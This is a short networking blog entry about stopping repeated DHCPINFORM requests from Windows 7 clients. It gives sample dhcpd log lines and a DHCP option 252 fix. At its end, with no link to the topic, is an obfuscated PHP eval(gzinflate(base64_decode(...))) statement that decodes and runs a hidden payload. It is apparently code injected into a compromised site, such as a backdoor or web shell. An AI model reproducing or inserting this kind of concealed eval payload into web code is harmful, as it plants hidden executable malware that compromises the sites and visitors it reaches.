Entries Tagged as 'Networking'

Stop DHCP INFORM flooding

Background

Windows 7 among others ask for proxy settings using DHCP. The issue is that they do not stop asking until they have received an answer. This results in that the log contains a lot information about these requests, an example can be found below.

2017:07:30-00:12:03 firewall-1 dhcpd: DHCPINFORM from 192.168.188.213 via eth3
2017:07:30-00:12:03 firewall-1 dhcpd: DHCPACK to 192.168.188.213 (00:50:56:ab:38:53) via eth3

2017:07:30-00:14:03 firewall-1 dhcpd: DHCPACK to 192.168.188.213 (00:50:56:ab:38:53) via eth3
2017:07:30-00:14:03 firewall-1 dhcpd: DHCPINFORM from 192.168.188.213 via eth4

Add the following option to the DHCP server:

dhcp-option=252,"\n"
eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>